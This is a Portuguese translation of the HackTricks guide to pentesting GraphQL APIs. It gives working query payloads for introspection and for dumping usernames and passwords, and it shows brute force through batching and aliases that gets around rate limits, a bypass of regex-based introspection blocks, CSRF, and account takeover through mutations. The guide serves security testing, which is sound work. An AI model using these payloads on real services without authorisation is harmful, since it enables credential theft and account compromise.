mirror of
https://github.com/carlospolop/hacktricks
synced 2024-12-25 20:43:29 +00:00
539 lines
28 KiB
Markdown
539 lines
28 KiB
Markdown
# GraphQL
|
|
|
|
<details>
|
|
|
|
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
|
|
|
* Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
|
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
|
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
|
* **Compartilhe seus truques de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
|
|
|
</details>
|
|
|
|
## Introdução
|
|
|
|
O GraphQL atua como uma alternativa à API REST. As APIs REST exigem que o cliente envie várias solicitações para endpoints diferentes na API para consultar dados do banco de dados do backend. Com o GraphQL, você só precisa enviar uma solicitação para consultar o backend. Isso é muito mais simples porque você não precisa enviar várias solicitações para a API, uma única solicitação pode ser usada para reunir todas as informações necessárias.
|
|
|
|
## GraphQL
|
|
|
|
À medida que novas tecnologias surgem, novas vulnerabilidades também surgirão. Por **padrão**, o GraphQL **não** implementa **autenticação**, isso fica a cargo do desenvolvedor implementar. Isso significa que, por padrão, o GraphQL permite que qualquer pessoa o consulte, qualquer informação sensível estará disponível para atacantes não autenticados.
|
|
|
|
Ao realizar seus ataques de força bruta de diretório, certifique-se de adicionar os seguintes caminhos para verificar as instâncias do GraphQL.
|
|
|
|
* `/graphql`
|
|
* `/graphiql`
|
|
* `/graphql.php`
|
|
* `/graphql/console`
|
|
* `/api`
|
|
* `/api/graphql`
|
|
* `/graphql/api`
|
|
* `/graphql/graphql`
|
|
|
|
<figure><img src="../../.gitbook/assets/image (6) (1) (3).png" alt=""><figcaption></figcaption></figure>
|
|
|
|
Uma vez que você encontre uma instância aberta do GraphQL, você precisa saber **quais consultas ela suporta**. Isso pode ser feito usando o sistema de introspecção, mais detalhes podem ser encontrados aqui: [**GraphQL: Uma linguagem de consulta para APIs.**\
|
|
É frequentemente útil perguntar a um esquema GraphQL informações sobre quais consultas ele suporta. O GraphQL nos permite fazer isso...](https://graphql.org/learn/introspection/)
|
|
|
|
### Fingerprint
|
|
|
|
A ferramenta [**graphw00f**](https://github.com/dolevf/graphw00f) é capaz de detectar qual mecanismo do GraphQL é usado em um servidor e, em seguida, imprime algumas informações úteis para o auditor de segurança.
|
|
|
|
#### Consultas universais <a href="#universal-queries" id="universal-queries"></a>
|
|
|
|
Se você enviar `query{__typename}` para qualquer endpoint do GraphQL, ele incluirá a string `{"data": {"__typename": "query"}}` em algum lugar de sua resposta. Isso é conhecido como uma consulta universal e é uma ferramenta útil para sondar se uma URL corresponde a um serviço GraphQL.
|
|
|
|
A consulta funciona porque todo endpoint do GraphQL tem um campo reservado chamado `__typename` que retorna o tipo do objeto consultado como uma string.
|
|
|
|
### Enumeração básica
|
|
|
|
O GraphQL geralmente suporta **GET**, **POST** (x-www-form-urlencoded) e **POST**(json). Embora, por motivos de segurança, seja recomendado permitir apenas json para evitar ataques CSRF.
|
|
|
|
#### Introspecção
|
|
|
|
Para usar a introspecção para descobrir informações do esquema, consulte o campo `__schema`. Este campo está disponível no tipo raiz de todas as consultas.
|
|
```bash
|
|
query={__schema{types{name,fields{name}}}}
|
|
```
|
|
Com esta consulta, você encontrará o nome de todos os tipos sendo usados:
|
|
|
|
![](<../../.gitbook/assets/image (202).png>)
|
|
|
|
{% code overflow="wrap" %}
|
|
```bash
|
|
query={__schema{types{name,fields{name,args{name,description,type{name,kind,ofType{name, kind}}}}}}}
|
|
```
|
|
{% endcode %}
|
|
|
|
Com essa consulta, você pode extrair todos os tipos, seus campos e seus argumentos (e o tipo dos argumentos). Isso será muito útil para saber como consultar o banco de dados.
|
|
|
|
![](<../../.gitbook/assets/image (207) (3).png>)
|
|
|
|
**Erros**
|
|
|
|
É interessante saber se os **erros** serão **exibidos**, pois eles contribuirão com informações úteis.
|
|
```
|
|
?query={__schema}
|
|
?query={}
|
|
?query={thisdefinitelydoesnotexist}
|
|
```
|
|
![](<../../.gitbook/assets/image (205) (1).png>)
|
|
|
|
**Enumerar Esquema do Banco de Dados via Introspecção**
|
|
|
|
{% hint style="info" %}
|
|
Se a introspecção estiver habilitada, mas a consulta acima não funcionar, tente remover as diretivas `onOperation`, `onFragment` e `onField` da estrutura da consulta.
|
|
{% endhint %}
|
|
```bash
|
|
#Full introspection query
|
|
|
|
query IntrospectionQuery {
|
|
__schema {
|
|
queryType {
|
|
name
|
|
}
|
|
mutationType {
|
|
name
|
|
}
|
|
subscriptionType {
|
|
name
|
|
}
|
|
types {
|
|
...FullType
|
|
}
|
|
directives {
|
|
name
|
|
description
|
|
args {
|
|
...InputValue
|
|
}
|
|
onOperation #Often needs to be deleted to run query
|
|
onFragment #Often needs to be deleted to run query
|
|
onField #Often needs to be deleted to run query
|
|
}
|
|
}
|
|
}
|
|
|
|
fragment FullType on __Type {
|
|
kind
|
|
name
|
|
description
|
|
fields(includeDeprecated: true) {
|
|
name
|
|
description
|
|
args {
|
|
...InputValue
|
|
}
|
|
type {
|
|
...TypeRef
|
|
}
|
|
isDeprecated
|
|
deprecationReason
|
|
}
|
|
inputFields {
|
|
...InputValue
|
|
}
|
|
interfaces {
|
|
...TypeRef
|
|
}
|
|
enumValues(includeDeprecated: true) {
|
|
name
|
|
description
|
|
isDeprecated
|
|
deprecationReason
|
|
}
|
|
possibleTypes {
|
|
...TypeRef
|
|
}
|
|
}
|
|
|
|
fragment InputValue on __InputValue {
|
|
name
|
|
description
|
|
type {
|
|
...TypeRef
|
|
}
|
|
defaultValue
|
|
}
|
|
|
|
fragment TypeRef on __Type {
|
|
kind
|
|
name
|
|
ofType {
|
|
kind
|
|
name
|
|
ofType {
|
|
kind
|
|
name
|
|
ofType {
|
|
kind
|
|
name
|
|
}
|
|
}
|
|
}
|
|
}
|
|
```
|
|
Consulta de introspecção em linha:
|
|
|
|
```graphql
|
|
{
|
|
__schema {
|
|
types {
|
|
name
|
|
kind
|
|
description
|
|
fields {
|
|
name
|
|
description
|
|
args {
|
|
name
|
|
description
|
|
type {
|
|
name
|
|
kind
|
|
}
|
|
}
|
|
type {
|
|
name
|
|
kind
|
|
}
|
|
}
|
|
}
|
|
}
|
|
}
|
|
```
|
|
```
|
|
/?query=fragment%20FullType%20on%20Type%20{+%20%20kind+%20%20name+%20%20description+%20%20fields%20{+%20%20%20%20name+%20%20%20%20description+%20%20%20%20args%20{+%20%20%20%20%20%20...InputValue+%20%20%20%20}+%20%20%20%20type%20{+%20%20%20%20%20%20...TypeRef+%20%20%20%20}+%20%20}+%20%20inputFields%20{+%20%20%20%20...InputValue+%20%20}+%20%20interfaces%20{+%20%20%20%20...TypeRef+%20%20}+%20%20enumValues%20{+%20%20%20%20name+%20%20%20%20description+%20%20}+%20%20possibleTypes%20{+%20%20%20%20...TypeRef+%20%20}+}++fragment%20InputValue%20on%20InputValue%20{+%20%20name+%20%20description+%20%20type%20{+%20%20%20%20...TypeRef+%20%20}+%20%20defaultValue+}++fragment%20TypeRef%20on%20Type%20{+%20%20kind+%20%20name+%20%20ofType%20{+%20%20%20%20kind+%20%20%20%20name+%20%20%20%20ofType%20{+%20%20%20%20%20%20kind+%20%20%20%20%20%20name+%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20}+%20%20%20%20}+%20%20}+}++query%20IntrospectionQuery%20{+%20%20schema%20{+%20%20%20%20queryType%20{+%20%20%20%20%20%20name+%20%20%20%20}+%20%20%20%20mutationType%20{+%20%20%20%20%20%20name+%20%20%20%20}+%20%20%20%20types%20{+%20%20%20%20%20%20...FullType+%20%20%20%20}+%20%20%20%20directives%20{+%20%20%20%20%20%20name+%20%20%20%20%20%20description+%20%20%20%20%20%20locations+%20%20%20%20%20%20args%20{+%20%20%20%20%20%20%20%20...InputValue+%20%20%20%20%20%20}+%20%20%20%20}+%20%20}+}
|
|
```
|
|
A última linha de código é uma consulta graphql que irá extrair todas as meta-informações do graphql (nomes de objetos, parâmetros, tipos...)
|
|
|
|
![](<../../.gitbook/assets/image (206).png>)
|
|
|
|
Se a introspecção estiver habilitada, você pode usar o [**GraphQL Voyager**](https://github.com/APIs-guru/graphql-voyager) para visualizar em uma interface gráfica todas as opções.
|
|
|
|
### Consultando
|
|
|
|
Agora que sabemos que tipo de informação está armazenada no banco de dados, vamos tentar **extrair alguns valores**.
|
|
|
|
Na introspecção, você pode encontrar **qual objeto você pode consultar diretamente** (porque você não pode consultar um objeto apenas porque ele existe). Na imagem a seguir, você pode ver que o "_queryType_" é chamado "_Query_" e que um dos campos do objeto "_Query_" é "_flags_", que também é um tipo de objeto. Portanto, você pode consultar o objeto flag.
|
|
|
|
![](../../.gitbook/assets/screenshot-from-2021-03-13-18-17-48.png)
|
|
|
|
Observe que o tipo da consulta "_flags_" é "_Flags_", e esse objeto é definido da seguinte forma:
|
|
|
|
![](../../.gitbook/assets/screenshot-from-2021-03-13-18-22-57.png)
|
|
|
|
Você pode ver que os objetos "_Flags_" são compostos por **nome** e **valor**. Então você pode obter todos os nomes e valores das flags com a consulta:
|
|
```javascript
|
|
query={flags{name, value}}
|
|
```
|
|
Observe que, caso o **objeto a ser consultado** seja um **tipo primitivo** como **string**, como no exemplo a seguir
|
|
|
|
![](<../../.gitbook/assets/image (441).png>)
|
|
|
|
Você pode consultá-lo apenas com:
|
|
```javascript
|
|
query={hiddenFlags}
|
|
```
|
|
Em outro exemplo, onde havia 2 objetos dentro do objeto "_Query_": "_user_" e "_users_".\
|
|
Se esses objetos não precisam de nenhum argumento para pesquisar, é possível **recuperar todas as informações deles** apenas **solicitando** os dados desejados. Neste exemplo da Internet, você pode extrair os nomes de usuário e senhas salvos:
|
|
|
|
![](<../../.gitbook/assets/image (208).png>)
|
|
|
|
No entanto, neste exemplo, se você tentar fazer isso, receberá este **erro**:
|
|
|
|
![](<../../.gitbook/assets/image (210).png>)
|
|
|
|
Parece que de alguma forma ele fará a pesquisa usando o argumento "_**uid**_" do tipo _**Int**_.\
|
|
De qualquer forma, já sabíamos disso, na seção [Enumeração Básica](graphql.md#enumeração-básica) foi proposta uma consulta que mostrava todas as informações necessárias: `query={__schema{types{name,fields{name, args{name,description,type{name, kind, ofType{name, kind}}}}}}}`
|
|
|
|
Se você ler a imagem fornecida quando eu executo essa consulta, verá que "_**user**_" tinha o **arg** "_**uid**_" do tipo _Int_.
|
|
|
|
Portanto, realizando uma leve força bruta de _**uid**_, descobri que em _**uid**=**1**_ um nome de usuário e uma senha foram recuperados:\
|
|
`query={user(uid:1){user,password}}`
|
|
|
|
![](<../../.gitbook/assets/image (211).png>)
|
|
|
|
Observe que **descobri** que poderia solicitar os **parâmetros** "_**user**_" e "_**password**_" porque se eu tentar procurar algo que não existe (`query={user(uid:1){noExists}}`) recebo este erro:
|
|
|
|
![](<../../.gitbook/assets/image (213).png>)
|
|
|
|
E durante a fase de **enumeração**, descobri que o objeto "_**dbuser**_" tinha como campos "_**user**_" e "_**password**_.
|
|
|
|
**Truque de despejo de string de consulta (obrigado a @BinaryShadow\_)**
|
|
|
|
Se você pode pesquisar por um tipo de string, como: `query={theusers(description: ""){username,password}}` e você **procura por uma string vazia**, ele irá **despejar todos os dados**. (_Observe que este exemplo não está relacionado com o exemplo dos tutoriais, para este exemplo suponha que você possa pesquisar usando "**theusers**" por um campo de String chamado "**description**"_).
|
|
|
|
GraphQL é uma tecnologia relativamente nova que está começando a ganhar destaque entre startups e grandes corporações. Além da falta de autenticação por padrão, os endpoints do GraphQL podem ser vulneráveis a outros bugs, como IDOR.
|
|
|
|
### Pesquisando
|
|
|
|
Para este exemplo, imagine um banco de dados com **pessoas** identificadas pelo e-mail e pelo nome e **filmes** identificados pelo nome e pela classificação. Uma **pessoa** pode ser **amiga** de outras **pessoas** e uma pessoa pode **ter filmes**.
|
|
|
|
Você pode **pesquisar** pessoas **pelo** nome e obter seus e-mails:
|
|
```javascript
|
|
{
|
|
searchPerson(name: "John Doe") {
|
|
email
|
|
}
|
|
}
|
|
```
|
|
Você pode **pesquisar** pessoas **pelo** **nome** e obter os **filmes** **inscritos** por elas:
|
|
```javascript
|
|
{
|
|
searchPerson(name: "John Doe") {
|
|
email
|
|
subscribedMovies {
|
|
edges {
|
|
node {
|
|
name
|
|
}
|
|
}
|
|
}
|
|
}
|
|
}
|
|
```
|
|
Observe como é indicado recuperar o `name` dos `subscribedMovies` da pessoa.
|
|
|
|
Você também pode **pesquisar vários objetos ao mesmo tempo**. Neste caso, é feita uma pesquisa por 2 filmes:
|
|
```javascript
|
|
{
|
|
searchPerson(subscribedMovies: [{name: "Inception"}, {name: "Rocky"}]) {
|
|
name
|
|
}
|
|
}r
|
|
```
|
|
Ou até mesmo **relações de vários objetos diferentes usando aliases**:
|
|
```javascript
|
|
{
|
|
johnsMovieList: searchPerson(name: "John Doe") {
|
|
subscribedMovies {
|
|
edges {
|
|
node {
|
|
name
|
|
}
|
|
}
|
|
}
|
|
}
|
|
davidsMovieList: searchPerson(name: "David Smith") {
|
|
subscribedMovies {
|
|
edges {
|
|
node {
|
|
name
|
|
}
|
|
}
|
|
}
|
|
}
|
|
}
|
|
```
|
|
### Mutations
|
|
|
|
**As mutações são usadas para fazer alterações no lado do servidor.**
|
|
|
|
Na **introspecção**, você pode encontrar as **mutações declaradas**. Na imagem a seguir, o "_MutationType_" é chamado de "_Mutation_" e o objeto "_Mutation_" contém os nomes das mutações (como "_addPerson_" neste caso):
|
|
|
|
![](../../.gitbook/assets/screenshot-from-2021-03-13-18-26-27.png)
|
|
|
|
Para este exemplo, imagine um banco de dados com **pessoas** identificadas pelo email e nome, e **filmes** identificados pelo nome e classificação. Uma **pessoa** pode ser **amiga** de outras **pessoas** e uma pessoa pode **ter filmes**.
|
|
|
|
Uma mutação para **criar novos** filmes no banco de dados pode ser como a seguinte (neste exemplo, a mutação é chamada de `addMovie`):
|
|
```javascript
|
|
mutation {
|
|
addMovie(name: "Jumanji: The Next Level", rating: "6.8/10", releaseYear: 2019) {
|
|
movies {
|
|
name
|
|
rating
|
|
}
|
|
}
|
|
}
|
|
```
|
|
**Observe como os valores e o tipo de dados são indicados na consulta.**
|
|
|
|
Também pode haver uma **mutação** para **criar** **pessoas** (chamada `addPerson` neste exemplo) com amigos e arquivos (observe que os amigos e filmes devem existir antes de criar uma pessoa relacionada a eles):
|
|
```javascript
|
|
mutation {
|
|
addPerson(name: "James Yoe", email: "jy@example.com", friends: [{name: "John Doe"}, {email: "jd@example.com"}], subscribedMovies: [{name: "Rocky"}, {name: "Interstellar"}, {name: "Harry Potter and the Sorcerer's Stone"}]) {
|
|
person {
|
|
name
|
|
email
|
|
friends {
|
|
edges {
|
|
node {
|
|
name
|
|
email
|
|
}
|
|
}
|
|
}
|
|
subscribedMovies {
|
|
edges {
|
|
node {
|
|
name
|
|
rating
|
|
releaseYear
|
|
}
|
|
}
|
|
}
|
|
}
|
|
}
|
|
}
|
|
```
|
|
### Agrupando ataques de força bruta em 1 solicitação de API
|
|
|
|
Essa informação foi retirada de [https://lab.wallarm.com/graphql-batching-attack/](https://lab.wallarm.com/graphql-batching-attack/).\
|
|
Autenticação por meio da API GraphQL com o envio simultâneo de várias consultas com credenciais diferentes para verificá-las. É um ataque clássico de força bruta, mas agora é possível enviar mais de um par de login/senha por solicitação HTTP devido ao recurso de agrupamento do GraphQL. Essa abordagem enganaria aplicativos externos de monitoramento de taxa, fazendo-os pensar que está tudo bem e que não há um robô de força bruta tentando adivinhar senhas.
|
|
|
|
Abaixo você pode encontrar a demonstração mais simples de uma solicitação de autenticação do aplicativo, com **3 pares de email/senha diferentes de uma vez**. Obviamente, é possível enviar milhares em uma única solicitação da mesma maneira:
|
|
|
|
![](<../../.gitbook/assets/image (182) (1).png>)
|
|
|
|
Como podemos ver na captura de tela da resposta, as primeiras e terceiras solicitações retornaram _null_ e refletiram as informações correspondentes na seção de _error_. A **segunda mutação tinha os dados de autenticação corretos** e a resposta continha o token de sessão de autenticação correto.
|
|
|
|
![](<../../.gitbook/assets/image (119) (1).png>)
|
|
|
|
## GraphQL sem Introspecção
|
|
|
|
Cada vez mais, **os pontos de extremidade do GraphQL estão desabilitando a introspecção**. No entanto, os erros que o GraphQL gera quando recebe uma solicitação inesperada são suficientes para que ferramentas como [**clairvoyance**](https://github.com/nikitastupin/clairvoyance) possam recriar a maior parte do esquema.
|
|
|
|
Além disso, a extensão do Burp Suite [**GraphQuail**](https://github.com/forcesunseen/graphquail) **observa as solicitações da API GraphQL que passam pelo Burp** e **constrói** um **esquema** interno do GraphQL com cada nova consulta que ele encontra. Ele também pode expor o esquema para GraphiQL e Voyager. A extensão retorna uma resposta falsa quando recebe uma consulta de introspecção. Como resultado, o GraphQuail mostra todas as consultas, argumentos e campos disponíveis para uso na API. Para mais informações, [**verifique isso**](https://blog.forcesunseen.com/graphql-security-testing-without-a-schema).
|
|
|
|
### Bypassando as defesas de introspecção do GraphQL <a href="#bypassing-graphql-introspection-defences" id="bypassing-graphql-introspection-defences"></a>
|
|
|
|
Se você não consegue executar consultas de introspecção na API que está testando, tente inserir um **caractere especial após a palavra-chave `__schema`**.
|
|
|
|
Quando os desenvolvedores desabilitam a introspecção, eles podem usar uma expressão regular para excluir a palavra-chave `__schema` nas consultas. Você deve tentar caracteres como **espaços**, **quebras de linha** e **vírgulas**, pois eles são **ignorados** pelo GraphQL, mas não pela expressão regular com falhas.
|
|
|
|
Portanto, se o desenvolvedor tiver excluído apenas `__schema{`, a consulta de introspecção abaixo não será excluída.
|
|
```bash
|
|
#Introspection query with newline
|
|
{
|
|
"query": "query{__schema
|
|
{queryType{name}}}"
|
|
}
|
|
```
|
|
Se isso não funcionar, tente executar a sonda usando um método de solicitação alternativo, pois a introspecção pode estar desativada apenas para POST. Tente uma solicitação GET ou uma solicitação POST com um tipo de conteúdo `x-www-form-urlencoded`.
|
|
|
|
### Estruturas GraphQL Vazadas
|
|
|
|
Se a introspecção estiver desativada, tente analisar o código-fonte do site. As consultas geralmente são pré-carregadas no navegador como bibliotecas JavaScript. Essas consultas pré-escritas podem revelar informações poderosas sobre o esquema e o uso de cada objeto e função. A guia `Sources` das ferramentas de desenvolvedor pode pesquisar todos os arquivos para enumerar onde as consultas estão salvas. Às vezes, até mesmo as consultas protegidas pelo administrador já estão expostas.
|
|
```javascript
|
|
Inspect/Sources/"Search all files"
|
|
file:* mutation
|
|
file:* query
|
|
```
|
|
## CSRF em GraphQL
|
|
|
|
Se você não sabe o que é CSRF, leia a seguinte página:
|
|
|
|
{% content-ref url="../../pentesting-web/csrf-cross-site-request-forgery.md" %}
|
|
[csrf-cross-site-request-forgery.md](../../pentesting-web/csrf-cross-site-request-forgery.md)
|
|
{% endcontent-ref %}
|
|
|
|
Lá você vai encontrar vários pontos de extremidade GraphQL **configurados sem tokens CSRF**.
|
|
|
|
Observe que as solicitações GraphQL geralmente são enviadas por meio de solicitações POST usando o Content-Type **`application/json`**.
|
|
```javascript
|
|
{"operationName":null,"variables":{},"query":"{\n user {\n firstName\n __typename\n }\n}\n"}
|
|
```
|
|
No entanto, a maioria dos pontos de extremidade do GraphQL também suporta **solicitações POST** no formato **`form-urlencoded`**:
|
|
```javascript
|
|
query=%7B%0A++user+%7B%0A++++firstName%0A++++__typename%0A++%7D%0A%7D%0A
|
|
```
|
|
Portanto, como as solicitações CSRF como as anteriores são enviadas **sem solicitações de preflight**, é possível **realizar** **alterações** no GraphQL abusando de um CSRF.
|
|
|
|
No entanto, observe que o novo valor padrão do cookie para a flag `samesite` no Chrome é `Lax`. Isso significa que o cookie só será enviado por um site de terceiros em solicitações GET.
|
|
|
|
Observe também que geralmente é possível enviar a **solicitação de consulta** também como uma solicitação **GET** e o token CSRF pode não ser validado em uma solicitação GET.
|
|
|
|
Além disso, abusando de um [**ataque XS-Search**](../../pentesting-web/xs-search.md), pode ser possível extrair conteúdo do ponto de extremidade GraphQL abusando das credenciais do usuário.
|
|
|
|
Para mais informações, **verifique a** [**postagem original aqui**](https://blog.doyensec.com/2021/05/20/graphql-csrf.html).
|
|
|
|
## Autorização no GraphQL
|
|
|
|
Muitas funções GraphQL definidas no ponto de extremidade podem verificar apenas a autenticação do solicitante, mas não a autorização.
|
|
|
|
Modificar as variáveis de entrada da consulta pode levar à **exposição** de detalhes sensíveis da conta [vazada](https://hackerone.com/reports/792927).
|
|
|
|
A mutação pode até levar à **assunção de conta** tentando modificar dados de outras contas.
|
|
```javascript
|
|
{
|
|
"operationName":"updateProfile",
|
|
"variables":{"username":INJECT,"data":INJECT},
|
|
"query":"mutation updateProfile($username: String!,...){updateProfile(username: $username,...){...}}"
|
|
}
|
|
```
|
|
### Bypassar autorização no GraphQL
|
|
|
|
[Encadeando consultas](https://s1n1st3r.gitbook.io/theb10g/graphql-query-authentication-bypass-vuln) é possível contornar um sistema de autenticação fraco.
|
|
|
|
No exemplo abaixo, podemos ver que a operação é "forgotPassword" e que ela deve executar apenas a consulta "forgotPassword" associada a ela. Isso pode ser contornado adicionando uma consulta ao final, neste caso, adicionamos "register" e uma variável de usuário para o sistema registrar como um novo usuário.
|
|
|
|
<figure><img src="../../.gitbook/assets/GraphQLAuthBypassMethod.PNG" alt=""><figcaption></figcaption></figure>
|
|
|
|
## Bypass de limite de taxa usando aliases
|
|
|
|
Normalmente, objetos GraphQL não podem conter várias propriedades com o mesmo nome. Os aliases permitem contornar essa restrição **nomeando explicitamente as propriedades que você deseja** que a API retorne. Você pode usar aliases para retornar **múltiplas instâncias do mesmo** tipo de objeto em uma única solicitação.
|
|
|
|
Para obter mais informações sobre aliases no GraphQL, consulte [Aliases](https://portswigger.net/web-security/graphql/what-is-graphql#aliases).
|
|
|
|
Embora os aliases sejam destinados a limitar o número de chamadas de API que você precisa fazer, eles também podem ser usados para forçar bruta em um ponto de extremidade GraphQL.
|
|
|
|
Muitos pontos de extremidade terão algum tipo de **limitador de taxa para evitar ataques de força bruta**. Alguns limitadores de taxa funcionam com base no **número de solicitações HTTP** recebidas, em vez do número de operações realizadas no ponto de extremidade. Como os aliases permitem efetivamente enviar várias consultas em uma única mensagem HTTP, eles podem contornar essa restrição.
|
|
|
|
O exemplo simplificado abaixo mostra uma série de **consultas com aliases verificando se os códigos de desconto da loja são válidos**. Essa operação pode potencialmente contornar o limite de taxa, pois é uma única solicitação HTTP, mesmo que possa ser usada para verificar um grande número de códigos de desconto de uma só vez.
|
|
```bash
|
|
#Request with aliased queries
|
|
query isValidDiscount($code: Int) {
|
|
isvalidDiscount(code:$code){
|
|
valid
|
|
}
|
|
isValidDiscount2:isValidDiscount(code:$code){
|
|
valid
|
|
}
|
|
isValidDiscount3:isValidDiscount(code:$code){
|
|
valid
|
|
}
|
|
}
|
|
```
|
|
## Ferramentas
|
|
|
|
### Scanners de Vulnerabilidade
|
|
|
|
* [https://github.com/gsmith257-cyber/GraphCrawler](https://github.com/gsmith257-cyber/GraphCrawler): Conjunto de ferramentas que pode ser usado para obter esquemas e procurar por dados sensíveis, testar autorização, forçar esquemas e encontrar caminhos para um determinado tipo.
|
|
* [https://blog.doyensec.com/2020/03/26/graphql-scanner.html](https://blog.doyensec.com/2020/03/26/graphql-scanner.html): Pode ser usado como um aplicativo independente ou [extensão do Burp](https://github.com/doyensec/inql).
|
|
* [https://github.com/swisskyrepo/GraphQLmap](https://github.com/swisskyrepo/GraphQLmap): Pode ser usado como um cliente CLI também para automatizar ataques.
|
|
* [https://gitlab.com/dee-see/graphql-path-enum](https://gitlab.com/dee-see/graphql-path-enum): Ferramenta que lista as diferentes maneiras de alcançar um determinado tipo em um esquema GraphQL.
|
|
|
|
### Clientes
|
|
|
|
* [https://github.com/graphql/graphiql](https://github.com/graphql/graphiql): Cliente GUI
|
|
* [https://altair.sirmuel.design/](https://altair.sirmuel.design/): Cliente GUI
|
|
|
|
### Testes Automáticos
|
|
|
|
{% embed url="https://graphql-dashboard.herokuapp.com/" %}
|
|
|
|
* Vídeo explicando o AutoGraphQL: [https://www.youtube.com/watch?v=JJmufWfVvyU](https://www.youtube.com/watch?v=JJmufWfVvyU)
|
|
|
|
## Referências
|
|
|
|
* [**https://jondow.eu/practical-graphql-attack-vectors/**](https://jondow.eu/practical-graphql-attack-vectors/)
|
|
* [**https://medium.com/@the.bilal.rizwan/graphql-common-vulnerabilities-how-to-exploit-them-464f9fdce696**](https://medium.com/@the.bilal.rizwan/graphql-common-vulnerabilities-how-to-exploit-them-464f9fdce696)
|
|
* [**https://medium.com/@apkash8/graphql-vs-rest-api-model-common-security-test-cases-for-graphql-endpoints-5b723b1468b4**](https://medium.com/@apkash8/graphql-vs-rest-api-model-common-security-test-cases-for-graphql-endpoints-5b723b1468b4)
|
|
* [**http://ghostlulz.com/api-hacking-graphql/**](http://ghostlulz.com/api-hacking-graphql/)
|
|
* [**https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/GraphQL%20Injection/README.md**](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/GraphQL%20Injection/README.md)
|
|
* [**https://medium.com/@the.bilal.rizwan/graphql-common-vulnerabilities-how-to-exploit-them-464f9fdce696**](https://medium.com/@the.bilal.rizwan/graphql-common-vulnerabilities-how-to-exploit-them-464f9fdce696)
|
|
* [**https://portswigger.net/web-security/graphql**](https://portswigger.net/web-security/graphql)
|
|
|
|
<details>
|
|
|
|
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
|
|
|
* Você trabalha em uma **empresa de segurança cibernética**? Gostaria de ver sua **empresa anunciada no HackTricks**? Ou gostaria de ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
|
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
|
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
|
* **Compartilhe seus truques de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e para o** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
|
|
|
</details>
|